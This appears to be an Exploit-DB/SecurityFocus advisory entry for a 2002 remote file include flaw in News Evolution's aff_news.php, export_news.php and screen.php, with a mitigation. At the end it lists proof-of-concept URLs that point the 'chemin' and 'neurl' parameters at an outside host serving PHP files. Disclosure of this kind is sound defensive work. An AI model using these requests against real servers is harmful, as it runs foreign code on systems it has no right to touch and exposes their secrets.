News Evolution Remote File Include Vulnerability

vendor:

News Evolution

by:

SecurityFocus

7.5

CVSS

HIGH

Remote File Include

CWE

Product Name: News Evolution

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Unix and Linux

2002

News Evolution Remote File Include Vulnerability

News Evolution is a freely available, open source news software package. It is written in PHP, and designed for use on Unix and Linux operating systems. The problem occurs in the aff_news.php file. By loading this file, and defining the chemin variable to an arbitrary location, commands can be executed on the local host. This vulnerability may also be used to reveal sensitive information on the local host. This same vulnerability also occurs in the export_news.php file.

Mitigation:

Ensure that the chemin variable is properly validated and sanitized before being used.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/6260/info

News Evolution is a freely available, open source news software package. It is written in PHP, and designed for use on Unix and Linux operating systems.

The problem occurs in the aff_news.php file. By loading this file, and defining the chemin variable to an arbitrary location, commands can be executed on the local host. This vulnerability may also be used to reveal sensitive information on the local host. This same vulnerability also occurs in the export_news.php file.

http://example.com/aff_news.php?chemin=http://example.org/ with

http://example.org/config.php
http://example.org/functions.inc.php
http://example.org/options.inc.php


http://example.com/screen.php?neurl=http://example.org with

http://example.org/admin/cfg/configsql.inc.php
http://example.org/admin/cfg/configscreen.inc.php
http://example.org/admin/cfg/configsite.inc.php
http://example.org/admin/cfg/configtache.inc.php
http://example.org/admin/fonctions/fctscr.php
http://example.org/admin/fonctions/fctadmin.php
http://example.org/admin/fonctions/fctform.php
http://example.org/admin/modules/cache.php